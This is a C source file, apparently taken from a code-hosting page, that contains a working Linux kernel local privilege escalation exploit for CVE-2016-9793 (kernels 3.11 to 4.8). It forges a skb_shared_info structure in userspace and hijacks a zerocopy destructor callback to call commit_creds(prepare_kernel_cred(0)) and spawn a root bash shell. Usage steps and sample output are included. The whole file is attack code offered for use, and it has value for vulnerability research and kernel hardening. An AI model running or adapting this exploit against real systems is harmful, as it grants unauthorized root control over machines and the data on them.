176 lines
No EOL
4.3 KiB
C
176 lines
No EOL
4.3 KiB
C
// CAP_NET_ADMIN -> root LPE exploit for CVE-2016-9793
|
|
// No KASLR, SMEP or SMAP bypass included
|
|
// Affected kernels: 3.11 -> 4.8
|
|
// Tested in QEMU only
|
|
// https://github.com/xairy/kernel-exploits/tree/master/CVE-2016-9793
|
|
//
|
|
// Usage:
|
|
// # gcc -pthread exploit.c -o exploit
|
|
// # chown guest:guest exploit
|
|
// # setcap cap_net_admin+ep ./exploit
|
|
// # su guest
|
|
// $ whoami
|
|
// guest
|
|
// $ ./exploit
|
|
// [.] userspace payload mmapped at 0xfffff000
|
|
// [.] overwriting thread started
|
|
// [.] sockets opened
|
|
// [.] sock->sk_sndbuf set to fffffe00
|
|
// [.] writing to socket
|
|
// [+] got r00t
|
|
// # whoami
|
|
// root
|
|
//
|
|
// Andrey Konovalov <andreyknvl@gmail.com>
|
|
|
|
#define _GNU_SOURCE
|
|
|
|
#include <sys/socket.h>
|
|
#include <sys/stat.h>
|
|
#include <sys/time.h>
|
|
#include <sys/types.h>
|
|
#include <sys/wait.h>
|
|
#include <sys/mman.h>
|
|
|
|
#include <pthread.h>
|
|
#include <signal.h>
|
|
#include <stdarg.h>
|
|
#include <stddef.h>
|
|
#include <stdint.h>
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
#include <unistd.h>
|
|
|
|
#define COMMIT_CREDS 0xffffffff81079860ul
|
|
#define PREPARE_KERNEL_CRED 0xffffffff81079b20ul
|
|
|
|
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
|
|
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
|
|
|
|
_commit_creds commit_creds = (_commit_creds)COMMIT_CREDS;
|
|
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;
|
|
|
|
void get_root(void) {
|
|
commit_creds(prepare_kernel_cred(0));
|
|
}
|
|
|
|
struct ubuf_info_t {
|
|
uint64_t callback; // void (*callback)(struct ubuf_info *, bool)
|
|
uint64_t ctx; // void *
|
|
uint64_t desc; // unsigned long
|
|
};
|
|
|
|
struct skb_shared_info_t {
|
|
uint8_t nr_frags; // unsigned char
|
|
uint8_t tx_flags; // __u8
|
|
uint16_t gso_size; // unsigned short
|
|
uint16_t gso_segs; // unsigned short
|
|
uint16_t gso_type; // unsigned short
|
|
uint64_t frag_list; // struct sk_buff *
|
|
uint64_t hwtstamps; // struct skb_shared_hwtstamps
|
|
uint32_t tskey; // u32
|
|
uint32_t ip6_frag_id; // __be32
|
|
uint32_t dataref; // atomic_t
|
|
uint64_t destructor_arg; // void *
|
|
uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS];
|
|
};
|
|
|
|
// sk_sndbuf = 0xffffff00 => skb_shinfo(skb) = 0x00000000fffffed0
|
|
#define SNDBUF 0xffffff00
|
|
#define SHINFO 0x00000000fffffed0ul
|
|
|
|
struct ubuf_info_t ubuf_info = {(uint64_t)&get_root, 0, 0};
|
|
//struct ubuf_info_t ubuf_info = {0xffffdeaddeadbeeful, 0, 0};
|
|
struct skb_shared_info_t *skb_shared_info = (struct skb_shared_info_t *)SHINFO;
|
|
|
|
#define SKBTX_DEV_ZEROCOPY (1 << 3)
|
|
|
|
void* skb_thr(void* arg) {
|
|
while (1) {
|
|
skb_shared_info->destructor_arg = (uint64_t)&ubuf_info;
|
|
skb_shared_info->tx_flags |= SKBTX_DEV_ZEROCOPY;
|
|
}
|
|
}
|
|
|
|
int sockets[2];
|
|
|
|
void *write_thr(void *arg) {
|
|
// Write blocks until setsockopt(SO_SNDBUF).
|
|
write(sockets[1], "\x5c", 1);
|
|
|
|
if (getuid() == 0) {
|
|
printf("[+] got r00t\n");
|
|
execl("/bin/bash", "bash", NULL);
|
|
perror("execl()");
|
|
}
|
|
printf("[-] something went wrong\n");
|
|
}
|
|
|
|
int main() {
|
|
void *addr;
|
|
int rv;
|
|
uint32_t sndbuf;
|
|
|
|
addr = mmap((void *)(SHINFO & 0xfffffffffffff000ul), 0x1000ul,
|
|
PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE,
|
|
-1, 0);
|
|
if (addr != (void *)(SHINFO & 0xfffffffffffff000ul)) {
|
|
perror("mmap()");
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
printf("[.] userspace payload mmapped at %p\n", addr);
|
|
|
|
pthread_t skb_th;
|
|
rv = pthread_create(&skb_th, 0, skb_thr, NULL);
|
|
if (rv != 0) {
|
|
perror("pthread_create()");
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
usleep(10000);
|
|
|
|
printf("[.] overwriting thread started\n");
|
|
|
|
rv = socketpair(AF_LOCAL, SOCK_STREAM, 0, &sockets[0]);
|
|
if (rv != 0) {
|
|
perror("socketpair()");
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
printf("[.] sockets opened\n");
|
|
|
|
sndbuf = SNDBUF;
|
|
rv = setsockopt(sockets[1], SOL_SOCKET, SO_SNDBUFFORCE,
|
|
&sndbuf, sizeof(sndbuf));
|
|
if (rv != 0) {
|
|
perror("setsockopt()");
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
printf("[.] sock->sk_sndbuf set to %x\n", SNDBUF * 2);
|
|
|
|
pthread_t write_th;
|
|
rv = pthread_create(&write_th, 0, write_thr, NULL);
|
|
if (rv != 0) {
|
|
perror("pthread_create()");
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
usleep(10000);
|
|
|
|
printf("[.] writing to socket\n");
|
|
|
|
// Wake up blocked write.
|
|
rv = setsockopt(sockets[1], SOL_SOCKET, SO_SNDBUF,
|
|
&sndbuf, sizeof(sndbuf));
|
|
if (rv != 0) {
|
|
perror("setsockopt()");
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
usleep(10000);
|
|
|
|
close(sockets[0]);
|
|
close(sockets[1]);
|
|
|
|
return 0;
|
|
} |